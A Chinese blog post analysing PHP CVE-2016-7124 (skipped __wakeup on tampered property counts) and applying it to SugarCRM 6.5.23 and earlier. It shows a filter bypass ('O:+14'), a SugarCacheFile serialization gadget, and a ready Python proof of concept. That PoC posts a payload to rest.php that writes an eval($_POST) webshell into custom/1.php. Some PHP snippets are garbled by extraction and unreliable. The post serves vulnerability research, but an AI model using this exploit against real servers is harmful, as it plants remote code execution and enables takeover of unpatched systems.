__wakeup()函数失效引发漏洞(CVE-2016-7124)


之前在hitcon 2016了解到这个漏洞,后来因为保研、项目什么的一直没时间做,终于有时间研究下这个漏洞了。

ven师傅Blog:http://www.venenof.com/index.php/archives/167/

漏洞影响版本

PHP5 < 5.6.25
PHP7 < 7.0.10

漏洞原理

__wakeup触发于unserilize()调用之前,但是如果被反序列话的字符串其中对应的对象的属性个数发生变化时,会导致反序列化失败而同时使得__wakeup失效。


<?php

class bendawang{

    private $a = array();

    function __wakeup()

    {

        echo "hello\n";

    }

    function __destruct(){

        echo "123";

    }

}

/*111

$b=new bendawang();

echo serialize($b);

file_put_contents('1.txt', serialize($b));

*/

/*222

$c = unserialize(file_get_contents('1.txt'));

var_dump($c);

*/

?>

先运行第一部分,然后得到

1.txt里面的"bendawang":1改成2,那么就无法触发__wakeup(),但是随后会继续触发__destruct

漏洞场景


<?php  

class Student{  

    private $full_name = '';

    private $score = 0;

    private $grades = array();



    public function __construct(fullname,fullname,

score, $grades)


    {

        this−>fullname=this−>fullname=

full_name;


        this−>grades=this−>grades=

grades;


        this−>score=this−>score=

score;


    }



    function __destruct()

    {

        var_dump($this);

    }



    function __wakeup()

    {

        foreach(get_object_vars(this)asthis)as

k => $v) {


            this−>this−>

k = null;


        }

        echo "Waking up...\n";

    }

}



// $s = new Student('bendawang', 123, array('a' => 90, 'b' => 100));

// file_put_contents('1.txt', serialize($s));

$a = unserialize(file_get_contents('1.txt'));

?>

正常运行应当是$a的属性因为执行了__wakeup都被清空了

这里写图片描述

而此时我们把1.txt里面的

这里写图片描述

换成如下:
这里写图片描述

再执行

这里写图片描述

发现并没有在执行__wakeup函数,所以这就是问题所在了!!

实例演示

sugarcrm <=6.5.23

首先是在service/core/REST/SugarRestSerialize.php下的serve.php函数如下:

这里写图片描述

观察到其中传入sugar_unserialize$data是我们可以控制的,来自于$_REQUEST['rest_data']

其中sugar_unserialize函数定义如下:

这里写图片描述

而这里'/[oc]:\d+:/i'我们是可以绕过的,它本意是想过滤掉输入的object类型,但是如果我们是这样子的呢o:14 -> o:+14,这样就完成绕过。

从而能够是我们的数据成功传入到unserialize中。

接下来就是寻找另一个类,并且含有可利用的魔法方法

于是我们找到了include/SugarCache/SugarCacheFile.php下的两个魔法方法。

这里写图片描述

也就是说,接下来我们就需要找到一个点,这个点调用了SugarRestSerialize.phpserve()方法,并且这个点include过存在漏洞的SugarCacheFile.php文件。

/sugarcrm/service/v4/rest.php中如下:

这里写图片描述

而其中的webservice.php为:


<?php

ob_start();
chdir(dirname(__FILE__).'/../../');
require('include/entryPoint.php');
require_once('soap/SoapError.php');
require_once('SoapHelperWebService.php');
require_once('SugarRestUtils.php');
require_once($webservice_path);   //  service/core/SugarRestService.php
require_once($registry_path);     //  service/v4/registry.php

if(isset($webservice_impl_class_path))
    require_once($webservice_impl_class_path);

$url = $GLOBALS['sugar_config']['site_url'].$location;

$service = new $webservice_class($url);
$service->registerClass($registry_class);
$service->register();
$service->registerImplClass($webservice_impl_class);

// set the service object in the global scope so that any error, if happens, can be set on this object
global $service_object;
$service_object = $service;
$service->serve();
?>

这里相当于在webservice.php中实例化了service/core/SugarRestService.php中的SugarRestService类并且调用了这个类的serve方法,看看这个被实例化的类的构造方法和serve()


protected function _getTypeName($name)
{
   if(empty($name)) return 'SugarRest';

   $name = clean_string($name, 'ALPHANUM');
   $type = '';
   switch(strtolower($name)) {
      case 'json':
         $type = 'JSON';
         break;
      case 'rss':
         $type = 'RSS';
         break;
      case 'serialize':
         $type = 'Serialize';
         break;
   }
   $classname = "SugarRest$type";
   if(!file_exists('service/core/REST/' . $classname . '.php')) {
      return 'SugarRest';
   }
   return $classname;
}

/**
 * Constructor.
 *
 * @param String $url - REST url
 */
function __construct($url){
   $GLOBALS['log']->info('Begin: SugarRestService->__construct');
   $this->restURL = $url;

   $this->responseClass = $this->_getTypeName(@$_REQUEST['response_type']);
   $this->serverClass = $this->_getTypeName(@$_REQUEST['input_type']);
   $GLOBALS['log']->info('SugarRestService->__construct serverclass = ' . $this->serverClass);
   require_once('service/core/REST/'. $this->serverClass . '.php');
   $GLOBALS['log']->info('End: SugarRestService->__construct');
}


function serve(){
   $GLOBALS['log']->info('Begin: SugarRestService->serve');
   require_once('service/core/REST/'. $this->responseClass . '.php');
   $response  = $this->responseClass;

   $responseServer = new $response($this->implementation);
   $this->server->faultServer = $responseServer;
   $responseServer->faultServer = $responseServer;
   $responseServer->generateResponse($this->server->serve());
   $GLOBALS['log']->info('End: SugarRestService->serve');
} 

所以当我们传入input_typeserialize的时候,就能够将我们希望的SugarRestSerialize.php文件包含进来,并且在运行上面的serve的时候把我们希望的SugarRestSerialize.php下的serve也调用了,完美符合要求。

先构造出我们的payload,如下:


<?php

class SugarCacheFile{

    protected $_cacheFileName;

    protected $_localStore ;

    protected $_cacheChanged = true;

    function __construct($a,$b){

        $this->_cacheFileName=$a;

        $this->_localStore[0]=$b;

    }

}

$a="../custom/1.php";



$b="<?php eval(\$_POST['bdw']);?>";

$sugarcachefile=new SugarCacheFile($a,$b);

echo serialize($sugarcachefile)."<br>";

?>

得到的如下:

这里写图片描述

然后把最开始的14改为+14,把3改为其他大于3的数字,这样子就能够绕过过滤和判断,从而把一句话写入到$_cacheFileName中,即custom/1.php

这里需要注意一个很重要的地方,一定要把里面的代表类型的小写s变成大写S,不然会失败。

最终提交如下:

这里写图片描述

这样子就成功了。

这里写图片描述

写一个poc


#!/usr/bin/env python

# encoding: utf-8



import requests

import sys



if len(sys.argv)<=1:

    print "usage : python xxx.py sitehome"



else:

    ip=sys.argv[1]

    url=ip+"/sugarcrm/service/v4/rest.php"

    param={

        'method': 'login',

        "input_type":"Serialize",

        "rest_data":'O:+14:"SugarCacheFile":10:{S:17:"\\00*\\00_cacheFileName";S:15:"../custom/1.php";S:14:"\\00*\\00_localStore";a:1:{i:0;S:28:"<?php eval($_POST[\'bdw\']);?>";}S:16:"\\00*\\00_cacheChanged";b:1;}'

    }

    r=requests.session()

    result=r.post(url,data=param)

    print result.content
  • 4
    点赞
  • 8
    收藏
    觉得还不错? 一键收藏
  • 2
    评论
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值